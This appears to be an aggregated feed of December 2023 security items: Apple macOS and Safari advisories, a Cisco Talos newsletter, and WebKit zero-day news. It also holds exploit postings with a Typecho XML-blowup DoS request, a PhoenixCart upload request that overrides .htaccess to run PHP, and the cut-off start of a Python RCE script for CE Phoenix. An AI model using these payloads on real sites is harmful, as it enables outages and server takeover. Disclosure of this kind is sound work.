Multiple memory corruption issues were addressed with improved input validation. This issue is fixed in macOS Sonoma 14.2. Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution.

Released December 11, 2023

**Accessibility**

Available for: macOS Sonoma

Impact: Secure text fields may be displayed via the Accessibility Keyboard when using a physical keyboard

Description: This issue was addressed with improved state management.

CVE-2023-42874: Don Clarke

**Accounts**

Available for: macOS Sonoma

Impact: An app may be able to access sensitive user data

Description: A privacy issue was addressed with improved private data redaction for log entries.

CVE-2023-42919: Kirin (@Pwnrin)

**AppleEvents**

Available for: macOS Sonoma

Impact: An app may be able to access information about a user's contacts

Description: This issue was addressed with improved redaction of sensitive information.

CVE-2023-42894: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

**AppleGraphicsControl**

Available for: macOS Sonoma

Impact: Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution

Description: Multiple memory corruption issues were addressed with improved input validation.

CVE-2023-42901: Ivan Fratric of Google Project Zero

CVE-2023-42902: Ivan Fratric of Google Project Zero, and Michael DePlante (@izobashi) of Trend Micro Zero Day Initiative

CVE-2023-42912: Ivan Fratric of Google Project Zero

CVE-2023-42903: Ivan Fratric of Google Project Zero

CVE-2023-42904: Ivan Fratric of Google Project Zero

CVE-2023-42905: Ivan Fratric of Google Project Zero

CVE-2023-42906: Ivan Fratric of Google Project Zero

CVE-2023-42907: Ivan Fratric of Google Project Zero

CVE-2023-42908: Ivan Fratric of Google Project Zero

CVE-2023-42909: Ivan Fratric of Google Project Zero

CVE-2023-42910: Ivan Fratric of Google Project Zero

CVE-2023-42911: Ivan Fratric of Google Project Zero

CVE-2023-42926: Ivan Fratric of Google Project Zero

**AppleVA**

Available for: macOS Sonoma

Impact: Processing an image may lead to arbitrary code execution

Description: The issue was addressed with improved memory handling.

CVE-2023-42882: Ivan Fratric of Google Project Zero

**Archive Utility**

Available for: macOS Sonoma

Impact: An app may be able to access sensitive user data

Description: A logic issue was addressed with improved checks.

CVE-2023-42924: Mickey Jin (@patch1t)

**AVEVideoEncoder**

Available for: macOS Sonoma

Impact: An app may be able to disclose kernel memory

Description: This issue was addressed with improved redaction of sensitive information.

CVE-2023-42884: an anonymous researcher

**Bluetooth**

Available for: macOS Sonoma

Impact: An attacker in a privileged network position may be able to inject keystrokes by spoofing a keyboard

Description: The issue was addressed with improved checks.

CVE-2023-45866: Marc Newlin of SkySafe

**CoreMedia Playback**

Available for: macOS Sonoma

Impact: An app may be able to access user-sensitive data

Description: The issue was addressed with improved checks.

CVE-2023-42900: Mickey Jin (@patch1t)

**CoreServices**

Available for: macOS Sonoma

Impact: A user may be able to cause unexpected app termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2023-42886: Koh M. Nakagawa (@tsunek0h)

**ExtensionKit**

Available for: macOS Sonoma

Impact: An app may be able to access sensitive user data

Description: A privacy issue was addressed with improved private data redaction for log entries.

CVE-2023-42927: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

**Find My**

Available for: macOS Sonoma

Impact: An app may be able to read sensitive location information

Description: This issue was addressed with improved redaction of sensitive information.

CVE-2023-42922: Wojciech Regula of SecuRing (wojciechregula.blog)

**ImageIO**

Available for: macOS Sonoma

Impact: Processing an image may lead to arbitrary code execution

Description: The issue was addressed with improved memory handling.

CVE-2023-42898: Junsung Lee

CVE-2023-42899: Meysam Firouzi @R00tkitSMM and Junsung Lee

**IOKit**

Available for: macOS Sonoma

Impact: An app may be able to monitor keystrokes without user permission

Description: An authentication issue was addressed with improved state management.

CVE-2023-42891: an anonymous researcher

**Kernel**

Available for: macOS Sonoma

Impact: An app may be able to break out of its sandbox

Description: The issue was addressed with improved memory handling.

CVE-2023-42914: Eloi Benoist-Vanderbeken (@elvanderb) of Synacktiv (@Synacktiv)

**ncurses**

Available for: macOS Sonoma

Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2020-19185

CVE-2020-19186

CVE-2020-19187

CVE-2020-19188

CVE-2020-19189

CVE-2020-19190

**SharedFileList**

Available for: macOS Sonoma

Impact: An app may be able to access sensitive user data

Description: The issue was addressed with improved checks.

CVE-2023-42842: an anonymous researcher

**TCC**

Available for: macOS Sonoma

Impact: An app may be able to access protected user data

Description: A logic issue was addressed with improved checks.

CVE-2023-42932: Zhongquan Li (@Guluisacat)

**Vim**

Available for: macOS Sonoma

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: This issue was addressed by updating to Vim version 9.0.1969.

CVE-2023-5344

**WebKit**

Available for: macOS Sonoma

Impact: Processing web content may lead to arbitrary code execution

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 259830  
CVE-2023-42890: Pwn2car

**WebKit**

Available for: macOS Sonoma

Impact: Processing an image may lead to a denial-of-service

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 263349  
CVE-2023-42883: Zoom Offensive Security Team

CVE-2023-42926: About the security content of macOS Sonoma 14.2

The issue was addressed with improved memory handling. This issue is fixed in Safari 17.2, macOS Sonoma 14.2, watchOS 10.2, iOS 17.2 and iPadOS 17.2, tvOS 17.2. Processing web content may lead to arbitrary code execution.

This document describes the security content of Safari 17.2.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security releases page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

**Safari 17.2**

Released December 11, 2023

**WebKit**

Available for: macOS Monterey and macOS Ventura

Impact: Processing web content may lead to arbitrary code execution

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 259830  
CVE-2023-42890: Pwn2car

**WebKit**

Available for: macOS Monterey and macOS Ventura

Impact: Processing an image may lead to a denial-of-service

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 263349  
CVE-2023-42883: Zoom Offensive Security Team

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**WebKit**

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Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: December 11, 2023

CVE-2023-42890: About the security content of Safari 17.2

When searching for holiday gifts online, make sure you’re buying from a trusted vendor, or if you haven’t heard of the vendor before, take a few extra minutes just to look them up and read their app’s privacy policy.

Thursday, December 7, 2023 14:00

As I wrote about last week, there are holiday shopping-related scams already popping up all over the place.  

But another aspect of security that many shoppers don’t consider this time of year is the security of the products they’re buying, even through a legitimate online marketplace. 

This is a glaring issue with home security cameras and Wi-Fi-connected doorbells, but I can’t imagine these are particularly popular holiday gifts. With virtually everything being connected to the internet somehow these days, everything is a potential security risk if you’re buying a new piece of technology. 

Take smartwatches, for example. Apple Watches and Samsung Galaxy watches are always popular on everyone’s wishlists this time of year because they’re high-priced items you normally wouldn’t buy for yourself. Many shoppers might be looking for a deal this time of year and not looking to spend hundreds on the gift, so any sort of cheaper alternative could be appealing. 

I searched for “smart watches” on Amazon, and the results page displayed four different watches from four different vendors as their “Top Results,” none of which were Samsung and Apple. Well-known vendors are certainly not immune to security issues or vulnerabilities, but at least users can be confident that any known vulnerabilities will be disclosed and patched by these companies as they pop up. 

The top result is for a $29.99 smartwatch that offers sleep tracking, blood pressure monitoring, dozens of different workout modes, step tracking, and more. However, there are a few security flags for me right up front with this deal (after all, if it seems too good to be true, it probably is). Amazon states the seller is a company called “Nerunsa,” but a quick search did not turn up any legitimate information on who this company is, where they’re based, or the sort of security bona fides you’d be hoping for. The only search results are for the company’s Amazon store page and a few eBay listings for people reselling the watch in question. 

The app that’s listed as supporting the watch is called “GloryFit” on the Google Play and Apple app stores, and its privacy policy is equally vague. It states that the app will collect all the suspected information for someone using a smartwatch — phone calls, text messages, GPS location, personal information, health information, etc. But, the policy states that, when the user accepts the privacy policy, “You hereby consent to our process and disclose personal information to our affiliated companies (which are in the communications, social media, technology and cloud businesses) and to Third Party Service Providers for the purposes of this Privacy Policy.” And it’s not particularly clear what those other companies do, exactly — Google was no help here, either. 

Apple Air Tags are also another popular tech gift every year and are usually featured in major retailers’ Black Friday sales. I personally have my own concerns about any type of tracking tag coming into my house, but that’s for another column. 

On Walmart, which is increasingly trying to compete with Amazon by offering more products online, I searched for “smart tag” and found three results that appeared ahead of Apple’s legitimate Air Tags. The second-most-popular result is for a “Bluetooth Tracker and Item Locator” that’s only $15.98, compared to $86.88 for a four-pack of Apple’s. This tracker is listed as being made by “AILIUTOP,” which also remains elusive on the internet and does not seem to have any sort of legitimate contact information available to the public. Their store page on Walmart indicates the seller offers many types of products, from clothing to home goods and more.  

 This seems like a good bargain as a gift for someone who is always losing their keys or wallet or wants to make sure their bicycle is secure when they lock it up somewhere. But purchasing these types of “smart” devices with so much uncertainty poses a few issues. 

If you do experience some sort of security failure or issue, there is no easy way to contact any of these vendors through the traditional means that the average user would go searching for. These vendors have no clear history of responsibly disclosing vulnerabilities, releasing security updates, or testing their products’ security before release. 

When these types of gifts are dealing with such high-profile information like your personal information, health data, or physical location, users should be confident that their information is being stored correctly and securely, or at least there’s a way to contact the vendor should they have any questions. 

When searching for holiday gifts online, make sure you’re buying from a trusted vendor, or if you haven’t heard of the vendor before, take a few extra minutes just to look them up, read their app’s privacy policy, or even read the reviews to make sure there’s no clear sign of bot activity like repetitive words or phrases or using the same photo for multiple reviews.  

**The one big thing **

The 2023 Cisco Talos Year in Review is now available to download. Once again, the Talos team has meticulously combed through a massive amount of data to analyze the major trends that have shaped the threat landscape in 2023. Global conflict influenced a lot of these trends, altering the tactics and approaches of many threat actors. In operations ranging from espionage to cybercrime, we’ve seen geopolitical events have a significant impact on the way these are carried out. 

**Why do I care? **

The Year in Review report includes new data and telemetry from Talos about attacker trends, popular malware seen in the wild, and much more. Despite the accelerated pace of many threat actor campaigns and the geopolitical events that shaped them, our report shows that the defensive community’s diligence, inventiveness and collaborative efforts are helping to push adversaries back.   

**So now what? **

Download our full report here, bookmark the Year in Review landing page for future content we have planned around the report, and listen to the Beers with Talos episode that covers the details of the report. 

**Top security headlines of the week **

**More than six million people are reportedly victims of a large data breach at DNA and genealogy testing firm 23andMe.** The breach is larger than initially expected, with more than 5.5 million users who opted into the company’s “DNA Relatives” feature, which allows customers to automatically share some of their data with other users. Another 1 million-plus users had their family tree information accessed. The attackers accessed the accounts because of password reuse from users, likely who used easy-to-guess login information or passwords they used across multiple other accounts. 23andMe was not the target of the initial breach, nor was a company account the source of the compromised credentials. Security experts are urging users to move away from traditional username-and-password login methods as these types of attacks happen more often, instead moving toward multi-factor authentication or passwordless logins. (TechCrunch, Wall Street Journal) 

**Apple released emergency fixes for two zero-day vulnerabilities in its WebKit browser engine that have already been exploited in the wild.** The company reported that the flaws are being exploited on devices running on iOS versions before iOS 16.7.1 (released on Oct. 10, 2023). There are new patches available, which users should install immediately, in iOS, iPadOS, macOS Sonoma and the Safari web browser. The two vulnerabilities tracked as CVE-2023-42916 and CVE-2023-42917, leave affected devices vulnerable to adversaries accessing sensitive information on targeted devices. CVE-2023-42917 could also allow an attacker to execute arbitrary code on the targeted machine. (SC Magazine, Decipher) 

**Security researchers say a new threat actor known as “AeroBlade” compromised a U.S. aerospace company for more than a year.** The actor reportedly started testing their malware and infection chain on the targeted network in September 2022 and executed malware on the network in July 2023. The activity sat undetected for months due to anti-analysis techniques. It is currently unknown what actions, if any, the actor carried out during that time or if they compromised any user or customer data. The initial infection began with a Microsoft Word lure document with the title, “"SOMETHING WENT WRONG Enable Content to load the document." The ensuing malicious Microsoft Word template (DOTM) file then loaded a DLL that served as a reverse shell. Researchers say the attacker’s intent was likely to steal data from the target to sell it, potentially supply it to international competitors, or use it to extort the target into paying a ransom. (Dark Reading, Bleeping Computer)  

**Can’t get enough Talos? **

Security journalists from Decipher bring you the headlines, including new U.S. government sanctions on threat actor groups in our latest Threat Spotlight video.

Then, Hazel chats to Talos security researcher Joe Marshall to discuss the Talos 2023 Year in Review, and Project PowerUp, the story of how Cisco Talos worked with a multi-national, multi-company coalition of volunteers and experts to help “keep the lights on” in Ukraine, by injecting a measure of stability in Ukraine’s power transmission grid.

**Upcoming events where you can find Talos **

**"Power of the Platform” by Cisco** **(Dec. 5 & 7)** 

Virtual (Please note: This presentation will only be given in German) 

_The annual IT event at the end of the year where Cisco experts, including Gergana Karadzhova-Dangela from Cisco Talos Incident Response, discuss the future-oriented topics in the implementation of digitalization together with you._  

**What Threats Kept Us Up in 2023: A Year in Review and a Look Ahead** **(Dec. 13, 11 a.m. PT)** 

Virtual 

_Each year brings new threats that take advantage of increasingly complex security environments. Whether it’s Volt Typhoon targeting critical infrastructure organizations across the United States or ALPHV launching an attack against casino giant MGM, threat actors are becoming bolder and more evasive. That’s why it’s never been more important to leverage broad telemetry sources, deep network insights and threat intelligence to respond effectively and recover faster from sophisticated attacks. Join Amy Henderson, Director of Strategic Planning and Communications at Cisco Talos and Briana Farro, Director of XDR Product Management at Cisco, as they discuss some of the top threat trends and threats we have seen this past year and how to leverage security technology like XDR and network insights to fight against them._ 

**NIS2 Directive: Why Organizations Must Act Now to Ensure Compliance and Security** **(Jan. 11, 2024, 10 a.m. GMT)** 

Virtual 

_The NIS2 Directive is a crucial step toward securing Europe’s critical infrastructure and essential services in an increasingly interconnected world. Organizations must act now to prepare for the new requirements, safeguard their operations, and maintain a robust cybersecurity posture. Gergana Karadzhova-Dangela from Cisco Talos Incident Response and other Cisco experts will talk about how organizations can best prepare for the coming regulations._  

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** bea312ccbc8a912d4322b45ea64d69bb3add4d818fd1eb7723260b11d76a138a   
**MD5:** 200206279107f4a2bb1832e3fcd7d64c   
**Typical Filename:** lsgkozfm.bat   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd 

**SHA 256:** 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440   
**MD5:** ef6ff172bf3e480f1d633a6c53f7a35e   
**Typical Filename:** iizbpyilb.bat   
**Claimed Product:** N/A    
**Detection Name:** Trojan.Agent.DDOH 

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf   
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551   
**Typical Filename:** rcx4d83.tmp   
**Claimed Product:** N/A     
**Detection Name:** Win.Dropper.Pykspa::tpd 

**SHA 256:** 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7    
**MD5:** 0e4c49327e3be816022a233f844a5731    
**Typical Filename:** aact.exe    
**Claimed Product:** AAct x86    
**Detection Name:** PUA.Win.Tool.Kmsauto::in03.talos 

**SHA 256:** 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e   
**MD5:** 040cd888e971f2872d6d5dafd52e6194   
**Typical Filename:** streamer.exe   
**Claimed Product:** Ultra Virus Killer   
**Detection Name:** PUA.Win.Virus.Ultra::95.sbx.tg

Cybersecurity considerations to have when shopping for holiday gifts

Typecho v1.2.1 was discovered to be vulnerable to an XML Quadratic Blowup attack via the component /index.php/action/xmlrpc.

    POST /index.php/action/xmlrpc HTTP/1.1
    Content-Length: 83630
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Encoding: gzip,deflate,br
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
    Host: 192.168.160.147
    Connection: Keep-alive
    
    <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE lolz [
     <!ENTITY poc "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.............">
    ]>
    <methodCall>
      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CVE-2023-49967: Typecho v1.2.1 XML Blowup Attack DoS vulnerability · Issue #1648 · typecho/typecho

CE Phoenixcart version 1.0.8.20 suffers from a remote shell upload vulnerability.

## Title: PhoenixCart-1.0.8.20-File-Upload-Bypass-override-htaccess-security-RCE  
## Author: nu11secur1ty  
## Date: 12/06/2023  
## Vendor: https://phoenixcart.org/index.php  
## Software: https://github.com/CE-PhoenixCart/PhoenixCart/archive/master.zip  
## Reference: https://portswigger.net/web-security/file-upload,  
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description:  
The Categories/Products Product Images upload function, is ABSOLUTELY  
NOT SANITIZING WELL for file uploading from any type of extension!  
In this case, you can see a bypassing of .HTACCESS SECURITY file and  
uploading an info.php exploit file which info.php can be executed from  
everywhere for dumping the all information about the server! This can  
be done on the demo server! Please do not do this! I am a Penetration  
Tester, not a stupid cracker, and that's why I downloaded it,  
installed it, and tested it!  
If you want to test it yourself please download it, install it, and test it!  
Thank you all!

STATUS: HIGH-CRITICAL Vulnerability  
[+]Exploit execution:  
```POST  
POST /PhoenixCart/admin/catalog.php?cPath=&action=update_product&pID=10 HTTP/1.1  
Host: pwnedhost7.com  
Content-Length: 2952  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://pwnedhost7.com  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryeDPXR7DpYcn3eWA1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Referer: http://pwnedhost7.com/PhoenixCart/admin/catalog.php?cPath=&pID=10&action=new_product  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Cookie: cepcAdminID=ukrk3ssr0jd6iqsnn9ofuccmbt  
Connection: close

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="formid"

733e378dc8154accdbfd80762cc385f48d5566560ac3b264db19393f9beb268e  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_date_added"

2023-12-06 11:36:36  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_status"

1  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_quantity"

0  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_date_available"

2023-12-14 00:00:00  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="manufacturers_id"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_model"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_tax_class_id"

1  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_price"

1000.0000  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_price_gross"

1070  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_weight"

1.00  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_gtin"

00000000000001  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_name[1]"

pwned  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_description[1]"

pwned your services  
------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_url[1]"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_seo_title[1]"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_seo_description[1]"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_seo_keywords[1]"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_image"; filename=""  
Content-Type: application/octet-stream

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_image_large_1";  
filename=".htaccess"  
Content-Type: application/octet-stream

# $Id$  
#  
# This is used to restrict access to this folder to anything other  
# than images

# Prevents any script files from being accessed from the images folder  
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">  
  <IfModule mod_authz_core.c>  
    # Require all denied  
  </IfModule>

  <IfModule !mod_authz_core.c>  
    Order Deny,Allow  
    # Deny from all  
    Allow from all  
  </IfModule>  
</FilesMatch>

Options -Indexes

------WebKitFormBoundaryeDPXR7DpYcn3eWA1  
Content-Disposition: form-data; name="products_image_htmlcontent_1"

------WebKitFormBoundaryeDPXR7DpYcn3eWA1--

```

[+]Response:  
```PHP  
GET /PhoenixCart/images/info.php HTTP/1.1  
Host: pwnedhost7.com  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Connection: close  
```

## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/CE-Phoenix/2023/PhoenixCart-1.0.8.20)

## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/12/phoenixcart-10820-file-upload-bypass.html)

## Time spent:  
00:17:00

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CE Phoenixcart 1.0.8.20 Shell Upload

Apple has released an emergency security update for two zero-day vulnerabilities which may have already been exploited.

Apple has released emergency security updates for iOS 17.1.2 and iPadOS 17.1.2 to patch for two zero-day vulnerabilities that may have been actively exploited.

Apple said both vulnerabilities were in the WebKit component, which is the engine that powers Safari browser on Macs as well as all browsers on iPhones and iPads. It is also the web browser engine used by Mail, App Store, and many other apps on macOS, iOS, and Linux.

The updates are available for the following:

*   iPhone XS and later
*   iPad Pro 12.9-inch 2nd generation and later
*   iPad Pro 10.5-inch
*   iPad Pro 11-inch 1st generation and later
*   iPad Air 3rd generation and later
*   iPad 6th generation and later
*   iPad mini 5th generation and later.
*   macOS Sonoma 14.1.2
*   Safari 17.1.2.

The updates may already have reached you if you automatically update, but it doesn’t hurt to check if your device is at the latest update level.

If a Safari update is available for your device, you can get it by updating your iPhone or iPad or updating your Mac.

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 Update your iPhones! Apple fixes two zero-days in iOS 

Apple has released software updates for iOS, iPadOS, macOS, and Safari web browser to address two security flaws that it said have come under active exploitation in the wild on older versions of its software.
The vulnerabilities, both of which reside in the WebKit web browser engine, are described below -

CVE-2023-42916 - An out-of-bounds read issue that could be exploited to

Spyware / Threat Analysis

Apple has released software updates for iOS, iPadOS, macOS, and Safari web browser to address two security flaws that it said have come under active exploitation in the wild on older versions of its software.

The vulnerabilities, both of which reside in the WebKit web browser engine, are described below -

*   **CVE-2023-42916** - An out-of-bounds read issue that could be exploited to leak sensitive information when processing web content.
*   **CVE-2023-42917** - A memory corruption bug that could result in arbitrary code execution when processing web content.

Apple said it's aware of reports exploiting the shortcomings "against versions of iOS before iOS 16.7.1," which was released on October 10, 2023. Clément Lecigne of Google's Threat Analysis Group (TAG) has been credited with discovering and reporting the twin flaws.

The iPhone maker did not provide additional information regarding ongoing exploitation, but previously disclosed zero-days in iOS have been used to deliver mercenary spyware targeting high-risk individuals, such as activists, dissidents, journalists, and politicians.

It's worth pointing out here that every third-party web browser that's available for iOS and iPadOS, including Google Chrome, Mozilla Firefox, and Microsoft Edge, and others, are powered by the WebKit rendering engine due to restrictions imposed by Apple, making it a lucrative and broad attack surface.

The updates are available for the following devices and operating systems -

*   **iOS 17.1.2 and iPadOS 17.1.2** - iPhone XS and later, iPad Pro 12.9-inch 2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 6th generation and later, and iPad mini 5th generation and later
*   **macOS Sonoma 14.1.2** - Macs running macOS Sonoma
*   **Safari 17.1.2** - Macs running macOS Monterey and macOS Ventura

With the latest security fixes, Apple has remediated as many as 19 actively exploited zero-days since the start of 2023. It also comes days after Google shipped fixes for a high-severity flaw in Chrome (CVE-2023-6345) that has also come under real-world attacks, making it the seventh zero-day to be patched by the company this year.

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Zero-Day Alert: Apple Rolls Out iOS, macOS, and Safari Patches for 2 Actively Exploited Flaws

By Waqas
Immediate Action Required: Update Your Apple Devices, Including iPads, MacBooks, and iPhones, NOW!
This is a post from HackRead.com Read the original post: Apple Issues Urgent Security Patches for Zero-Day Vulnerabilities

Apple has recently released security updates to tackle two zero-day vulnerabilities (CVE-2023-42916 and CVE-2023-42917) that hackers are actively exploiting.

Apple Inc. today released crucial security updates aimed at mitigating two critical zero-day vulnerabilities identified as CVE-2023-42916 and CVE-2023-42917. These vulnerabilities have been actively exploited by hackers, posing a significant risk to a wide range of Apple devices.

The vulnerabilities allow attackers to execute arbitrary code and access sensitive data on compromised devices. These security flaws are particularly concerning because they can be exploited through malicious web pages, exploiting a memory corruption bug to gain unauthorized access.

****Affected Devices****

Apple’s advisory lists a comprehensive range of devices vulnerable to these exploits:

*   iPhone XS and later models
*   iPad Pro 10.5-inch
*   iPad (6th generation and later)
*   iPad Air (3rd generation and later)
*   iPad mini (5th generation and later)
*   iPad Pro 11-inch (1st generation and later)
*   iPad Pro 12.9-inch (2nd generation and later)
*   Mac computers running macOS Monterey, Ventura, and Sonoma

****Immediate Action Recommended****

Apple urges all users of these devices to update their software immediately. The updates are designed to patch the vulnerabilities and protect devices from potential exploits. Users can update their devices by going to the ‘Settings’ menu, selecting ‘General’, and then tapping on ‘Software Update’.

The urgent release of these security patches highlights the growing challenges in cybersecurity. Security experts advise users to always keep their software updated to the latest version and to be cautious of suspicious web pages and downloads.

In a comment to Hackread.com, Michael Covington, VP of Portfolio Strategy at Apple device security and management company Jamf, urged users to immediately update their devices.

“These latest OS updates, which address bugs in Apple’s WebKit, show that attackers continue to focus on exploiting the framework that downloads and presents web-based content,” Michael said. The latest bugs could lead to both data leakage and arbitrary code execution and appear to be tied to targeted attacks that are common against high-risk users,” he wanted.

****How to Update Your Apple Devices?****

Apple provides detailed instructions to ensure that users update their devices effectively. For iPhone and iPad users, navigate to Settings > General and click on Software Update.

For macOS users, click on the Apple menu (), go to System Settings, select General, and then click on Software Update. Automatic updates should be enabled to receive the Rapid Security Response patches seamlessly. Restarting the device may be necessary to complete the update process.

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Apple Issues Urgent Security Patches for Zero-Day Vulnerabilities

A memory corruption vulnerability was addressed with improved locking. This issue is fixed in iOS 17.1.2 and iPadOS 17.1.2, macOS Sonoma 14.1.2, Safari 17.1.2. Processing web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited against versions of iOS before iOS 16.7.1.

This document describes the security content of Safari 17.1.2.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security releases page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

**Safari 17.1.2**

Released November 30, 2023

**WebKit**

Available for: macOS Monterey and macOS Ventura

Impact: Processing web content may disclose sensitive information. Apple is aware of a report that this issue may have been exploited against versions of iOS before iOS 16.7.1.

Description: An out-of-bounds read was addressed with improved input validation.

WebKit Bugzilla: 265041  
CVE-2023-42916: Clément Lecigne of Google's Threat Analysis Group

**WebKit**

Available for: macOS Monterey and macOS Ventura

Impact: Processing web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited against versions of iOS before iOS 16.7.1.

Description: A memory corruption vulnerability was addressed with improved locking.

WebKit Bugzilla: 265067  
CVE-2023-42917: Clément Lecigne of Google's Threat Analysis Group

Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: November 30, 2023

CVE-2023-42917: About the security content of Safari 17.1.2

CE Phoenix version 1.0.8.20 remote code execution exploit written in Python.

    ## Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)#### Date: 2023-11-25#### Exploit Author: tmrswrr#### Category: Webapps#### Vendor Homepage: [CE Phoenix](https://phoenixcart.org/)#### Version: v1.0.8.20#### Tested on: [Softaculous Demo - CE Phoenix](https://www.softaculous.com/apps/ecommerce/CE_Phoenix)## EXPLOIT :import requestsfrom bs4 import BeautifulSoupimport sysimport urllib.parseimport randomfrom time import sleepclass colors:    OKBLUE = '\033[94m'    WARNING = '\033[93m'    FAIL = '\033[91m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'    CBLACK = '\33[30m'    CRED = '\33[31m'    CGREEN = '\33[32m'    CYELLOW = '\33[33m'    CBLUE = '\33[34m'    CVIOLET = '\33[35m'    CBEIGE = '\33[36m'    CWHITE = '\33[37m' def entry_banner():    color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,                    colors.CRED, colors.CBEIGE]    random.shuffle(color_random)    banner = color_random[0] + """     CE Phoenix v1.0.8.20 - Remote Code Execution \n     Author: tmrswrr    """    for char in banner:        print(char, end='')        sys.stdout.flush()        sleep(0.0045)def get_formid_and_cookies(session, url):    response = session.get(url, allow_redirects=True)    if response.ok:        soup = BeautifulSoup(response.text, 'html.parser')        formid_input = soup.find('input', {'name': 'formid'})        if formid_input:            return formid_input['value'], session.cookies    return None, Nonedef perform_exploit(session, url, username, password, command):    print("\n[+] 